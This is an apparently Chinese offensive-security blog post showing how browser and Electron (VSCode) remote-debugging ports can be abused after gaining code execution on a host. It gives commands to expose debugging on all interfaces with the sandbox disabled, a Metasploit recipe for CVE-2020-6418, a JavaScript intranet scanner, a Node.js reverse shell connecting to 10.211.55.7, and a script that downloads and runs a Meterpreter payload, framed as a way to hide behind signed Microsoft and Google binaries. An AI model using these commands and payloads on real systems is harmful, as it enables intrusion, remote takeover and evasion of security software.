查看原文
其他

远程调试的利用

NOP Team NOP Team 2024-04-16

0x01 简介

应用程序开发过程中,开发占总时间一半的话,调试可能会占一小半。读书破万卷,下笔如有神,但是在编程领域似乎破万卷也得通过不断地调试,找出程序存在的问题,完善程序功能

为方便开发维护人员调试,很多程序提供了远程调试功能,远程调试,例如 NodejsChromium 等,今天这篇文章我们就要利用这个功能来为帮助我们解决攻击过程中的问题

0x02 远程调试演示

Chrome 为例,Chrome 开启远程调试

chrome --remote-debugging-port=9222

Edge 进行远程调试

edge://inspect/

如果用 Chrome 或其他浏览器调试,修改为对应的语法

由于我们使用了默认的 9222 进行远程监听,所以默认直接就识别出来了,此时可以在每个 tab 下执行 inspect 等操作

可以点击上方 + 号查看更多功能

基本和本地浏览器调试工具没有区别,非常人性化

0x03 远程调试利用思路

从上面演示可以看到,远程调试似乎是在本地监听指定端口,并使用 WS 协议进行数据传输,是否可以全局监听呢?也就是监听 0.0.0.0 ,经过查询,Chromium系浏览器可以通过以下启动参数设置监听host

chrome --remote-debugging-port=9222 --remote-debugging-address=0.0.0.0

这个参数似乎在 MacOS 中不起作用,所以用 Windows 中的Edge浏览器来设置远程调试启动

Windows 11Edge 默认位置

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

MacOS 中的 Chrome 中进行调试

chrome://inspect

虽然虚拟机中的 Edge 浏览器调试端口是默认的 9222 ,但是由于监听的 Host 不在本地,默认不会在列表中,我们需要进行配置

刷新后,发现卵用没有,并没有出现远程调试

这个时候就懵了呀,网上只能找到这个参数同样执行失败的帖子,却没有找到合适的答案,于是又开始了排错

  • 升级浏览器版本 —— 失败
  • 调换参数位置 —— 失败
  • 使用 Edge 调试 Edge —— 失败
  • 使用 Chrome 调试 Chrome —— 失败
  • 使用 Edge 调试 Chrome —— 失败
  • 使用 Chromium 进行调试 —— 失败
  • 使用虚拟机调试物理机 —— 失败

问了各种 GPT 也没有找到答案,最终还是功夫不负有心人,找到了解决办法,加上一个参数 --headless

最终命令如下

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --remote-debugging-address=0.0.0.0 --headless

由于加了 --headless 参数,所以不会有带界面的浏览器程序产生

点击 Open 并没有发生什么效果,这不成啊,这是给我们伟大的调试事业添堵呀,还得从启动参数上下手

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --remote-debugging-address=0.0.0.0 --headless --new-window "https://www.baidu.com/"

刷新调试器

出现了,这样我们就可以通过 inspect 这个页面调用控制台了

PS: 注意,这参数并不是空格和等号随便替换的,这才邪乎呢,建议提前测试好

0x04 浏览器远程调试利用

假设我们获取了一台服务器的RCE 等能力,能够以这样的方式启动浏览器,则可以以微软官方或者其他拥有可信签名的浏览器启动一个远程调试

直接用上面的案例,当然,你还可以加上一些减弱安全策略的参数,例如 --no-sandbox

1. 浏览任意网页

我发现调试功能太健全了,不仅可以修改 URL 地址,还可以直接与网页进行交互

是否可以用来下载呢?本地开一个web下载服务器

有访问,但是在服务器上并没有文件落地

经过测试,访问浏览器本身协议实现的URL也不能成功

edge://about
edge://accessibility
edge://app-service-internals
edge://app-settings
edge://application-guard-internals
edge://apps
edge://attribution-internals
edge://augloop-internals
edge://autofill-internals
edge://blob-internals
edge://bluetooth-internals
edge://browser-essentials
edge://collected-cookies-dialog
edge://commerce-internals
edge://compat
edge://components
edge://conflicts
edge://connectors-internals
edge://crashes
edge://credits
edge://data-viewer
edge://device-log
edge://discards
edge://download-internals
edge://downloads
edge://edge-dlp-internals
edge://edge-urls
edge://enp
edge://extensions
edge://extensions-internals
edge://favorites
edge://flags
edge://floc-internals
edge://gcm-internals
edge://gpu
edge://help
edge://histograms
edge://history
edge://history-clusters-internals
edge://indexeddb-internals
edge://inspect
edge://interstitials
edge://launch-source
edge://local-state
edge://mam-internals
edge://management
edge://media-engagement
edge://media-internals
edge://metrics-internals
edge://modules
edge://net-export
edge://net-internals
edge://network-errors
edge://newtab
edge://ntp-tiles-internals
edge://omnibox
edge://on-device-internals
edge://optimization-guide-internals
edge://password-manager-internals
edge://policy
edge://pre-launch-fre
edge://predictors
edge://prefs-internals
edge://print
edge://private-aggregation-internals
edge://process-internals
edge://profile-internals
edge://push-internals
edge://quota-internals
edge://sandbox
edge://serviceworker-internals
edge://settings
edge://signin-internals
edge://site-engagement
edge://suggest-internals
edge://super-resolution-popup
edge://sync-internals
edge://system
edge://tab-search.top-chrome
edge://terms
edge://topics-internals
edge://tracing
edge://translate-internals
edge://ukm
edge://usb-internals
edge://user-actions
edge://version
edge://wallet/passwords
edge://web-app-internals
edge://webrtc-internals
edge://webrtc-logs
edge://webxr-internals
edge://badcastcrash/
edge://inducebrowsercrashforrealz/
edge://inducebrowserdcheckforrealz/
edge://crash/
edge://crashintegrity/
edge://crash/rust
edge://crashdump/
edge://kill/
edge://hang/
edge://shorthang/
edge://gpuclean/
edge://gpucrash/
edge://gpuhang/
edge://memory-exhaust/
edge://memory-pressure-critical/
edge://memory-pressure-moderate/
edge://inducebrowserheapcorruption/
edge://crash/cfg
edge://heapcorruptioncrash/
edge://quit/
edge://restart/

Chrome 浏览器就是换个协议名

2. 浏览历史记录

edge://history

刚才测试也失败了

3. 收集信息

主要是系统和浏览器基本信息

对前端比较熟悉的朋友应该了解,浏览器窗口有个全局对象 —— window ,基本上所有的信息都在其中,尤其是其中的 navigator

4. CVE 漏洞利用

既然可以浏览任意网页,同时我们可以获取到浏览器的详细版本信息,那么触发 CVE 也就有了有利条件,这里以一个比较简单的直接浏览网页进行触发

如果直接以 Chrome --new-window "https://www.baidu.com" 的方式触发 CVE 可能更容易留下痕迹,并且更加容易被杀软拦截,但也有好处,可以不用监听端口

1) 配置环境

CVE-2020-6418 为例,我们找一个低版本的 Chrome

Google Chrome < 80.0.3987.122

由于是从非官方网址下载,换个测试系统(Win10),之后安装旧版本的 Chrome

https://google-chrome.cn.uptodown.com/windows/download/2181156

安装后 Chrome 会自动更新,为了保证复现环境,我们关闭 Chrome 的自动更新,参考

https://www.cnblogs.com/mq0036/p/13947021.html

这个默认是西班牙语,调整后显示中文

执行以下远程调试命令,漏洞触发需要加上 --no-sandbox

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox --remote-debugging-port=9222 --remote-debugging-address=0.0.0.0 --headless --new-window "https://www.baidu.com/"

Chrome 设置远程调试后虽然没有出现 ws://0.0.0.0:9222 ,但是从系统监听端口可以看出,还是成功了的

2) 远程调试

配置远程调试的 host 和端口信息

3) 配置 PoC

使用 MSF 生成 PoC

msfconsole -q
> search cve-2020-6418
> use exploit/multi/browser/chrome_jscreate_sideeffect

> set payload windows/x64/meterpreter/reverse_http
> set lhost 10.211.55.7
> set lport 4444
> exploit

4) 通过远程调试触发 PoC

成功获取 meterpretershell

当然也可以直接使用远程执行直接加载恶意网页

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox --remote-debugging-port=9222 --headless --new-window "http://10.211.55.7:8080/4EMolIkU57"

直接使用 --headless 不加 --remote-debugging-port=9222 是会显示出浏览器窗口的,甚至他们俩的顺序反了都不行

5. 内网探测

现代浏览器已经禁止 webrtc 泄漏内网 IP,所以除非有 RCE 或者其他方式获取了内网IP段,不然可能会比较费劲,这一步也不是推荐的方法

目前来看,内网探测仅支持 http 以及 https 协议,其他协议可能要通过延迟等信息进行判断,下面给出 js 脚本

// 假设你要遍历的子网为 10.211.55.0/24
const subnetBase = '10.211.55.';
const subnetStart = 1;
const subnetEnd = 255;
let successfulUrls = [];
let promises = [];

const check_url = (url) => {
    return fetch(url, { mode'no-cors' })
        .then(response => {
            // 成功时,将URL添加到成功的URL数组中
            successfulUrls.push(url);
            console.log('URL 可以访问 ', url);
            return true;
        })
        .catch(error => {
            return false;
        });
}

// 循环遍历并打印IP地址
for (let i = 1; i >= subnetStart && i <= subnetEnd ; i++) {
  let sub_ip = subnetBase + i.toString()
  let url = 'http://' + sub_ip + ':80'
  promises.push(check_url(url));
}

// 使用Promise.all等待所有请求完成
Promise.all(promises)
  .then(() => {
    console.log("所有请求完成,成功访问的URL列表如下:");
    successfulUrls.forEach(url => console.log(url));
  })
  .catch(error => {
    console.error('在处理请求队列时发生错误:', error);
  });

受害终端启动调试的网页这次我们也不用百度了,因为如果使用百度,开发者工具控制台也是百度的,百度默认有一些安全策略,我们可以自行搭建没有安全策略的网页,或者找一些安全策略比较少的网页进行打开获取控制台,以 Ubuntu 的一个镜像站为例,它是支持 http 协议的

"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox --remote-debugging-port=9222 --remote-debugging-address=0.0.0.0 --headless --new-window "http://mirrors.dc.clear.net.ar/ubuntu-releases/"

我们使用上面的代码对内网 10.211.55.0/2480 端口进行探测

由于报错是浏览器产生的,而不是代码,所以没有找到好的方法屏蔽,不过没关系,最后会同意显示结果

成功探测内网地址,结合网页浏览,可以进一步展开攻击

6. 读取系统文件

是否可以使用 file 协议读取系统文件呢?

我们在 C 盘下放一个 flag.txt ,内容为 success

在调试地址栏输入

file:///C:/flag.txt

这里调试器会将我们的冒号直接去掉,之后在前面加上 http,但是原生浏览器是可以直接读取文件的,所以大家可以尝试是否可以绕过

js 请求更是被限制得死死的

但好在上面这些内容都不是这篇文章的重点

0x05 Electron 远程调试利用

可能很多朋友没有接触过 Electron ,简单来说就是将 NodejsChromium 结合起来开发桌面程序的技术,其中 Nodejs 负责系统相关功能, Chromium 负责前端渲染,开发者可以直接使用前端三件套 html+css+js 进行桌面程序开发,具体详见官网

https://www.electronjs.org/zh/

常见的程序中也有部分采用 Electron 开发的,例如

  • VSCode
  • Discord
  • Typora
  • Microsoft Teams
  • Signal
  • Goby
  • 蚁剑
  • Yakit

参考 https://www.electronjs.org/apps

很多朋友不知道的是,大部分 Electron 程序自带调试功能,而且可以设置监听 0.0.0.0,这里就以 VSCode 为例

1. 下载最新稳定版 VSCode

https://vscode.download.prss.microsoft.com/dbazure/download/stable/863d2581ecda6849923a2118d93a088b0745d9d6/VSCodeUserSetup-x64-1.87.2.exe

2. 安装 VSCode

程序有微软的签名,这也是为什么我们选择 VSCode

3. 开启调试

"C:\Users\join\AppData\Local\Programs\Microsoft VS Code\Code.exe" --inspect="0.0.0.0:5555"

VSCode 没有找到 --headless 参数,也可以理解,我是个编辑器呀

4. 连接远程调试

还是使用 Chrome 进行连接

成功进行连接,执行 Nodejs 代码

require('child_process').execSync('calc')

成功执行命令

5. 上线 MSF

既然能执行 nodejs 代码,那可操作空间就太大了,以上线 MSF 为例

1) MSF 生成 payload

msfvenom -p nodejs/shell_reverse_tcp LHOST=10.211.55.7 LPORT=4444 --platform nodejs 
(function()var require = global.require || global.process.mainModule.constructor._load; if (!requirereturnvar cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = thisvar counter=0function StagerRepeat(){ client.socket = net.connect(4444"10.211.55.7"function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error"function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();

2) 配置监听

3) 调试器中执行恶意代码

看来 global 这个全局对象不存在,得修改一下代码

(function() {
    var cmd = "cmd";
    var net = require("net"),
    cp = require("child_process"),
    util = require("util"),
    sh = cp.spawn(cmd, []);
    var client = this;
    var counter = 0;
    function StagerRepeat() {
        client.socket = net.connect(4444"10.211.55.7",
        function() {
            client.socket.pipe(sh.stdin);
            if (typeof util.pump === "undefined") {
                sh.stdout.pipe(client.socket);
                sh.stderr.pipe(client.socket);
            } else {
                util.pump(sh.stdout, client.socket);
                util.pump(sh.stderr, client.socket);
            }
        });
        socket.on("error",
        function(error) {
            counter++;
            if (counter <= 10) {
                setTimeout(function() {
                    StagerRepeat();
                },
                5 * 1000);
            } else {}
        });
    }
    StagerRepeat();
})();

成功获取反弹 shell

4) 提升至 Meterpreter

很遗憾,目前的 MSF 并不能直接使用 sessions -u 1 进行提升

改变思路,通过 Nodejs 远程下载二进制后门,并执行

生成 Payload并建立 web 服务器

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.7 LPORT=4445 -f exe -o payload.exe

建立监听

使用 Nodejs 远程下载并执行

const os = require('os');
const http = require('http');
const fs = require('fs');
const path = require('path');
const { execSync } = require('child_process');

// 获取临时目录路径
const tempDir = os.tmpdir();
const fileName = 'payload.exe';
const savePath = path.join(tempDir, fileName); // 将文件保存到临时目录

// 使用Node.js原生HTTP模块发起GET请求
http.get('http://10.211.55.7/payload.exe', (response) => {
  // 创建可写流
  const writeStream = fs.createWriteStream(savePath);

  // 当请求响应时,将数据流管道到文件流中
  response.pipe(writeStream);

  // 监听文件写入完成事件
  writeStream.on('finish', () => {
  console.log('文件下载完成,位于:', savePath);

  // 确保文件写入磁盘完成后再尝试执行
  fs.access(savePath, fs.constants.R_OK | fs.constants.X_OK, (err) => {
    if (err) {
      console.error('无法执行文件,可能是因为权限问题或文件不存在:', err);
    } else {
      try {
        execSync(`"${savePath}"`, { shelltruestdio'inherit' });
      } catch (error) {
        console.error('执行exe文件时出错:', error);
      }
    }
  });
});

  writeStream.on('error', (error) => {
    console.error('文件下载或保存时发生错误:', error);
  });

  // 关闭响应
  response.on('end', () => {
    console.log('下载完毕');
  });
});

成功获取 Meterpreter shell


经过两个实验,我们成功利用带有微软或谷歌签名的程序获取了 Meterpreter 的权限

往期文章

有态度,不苟同


继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存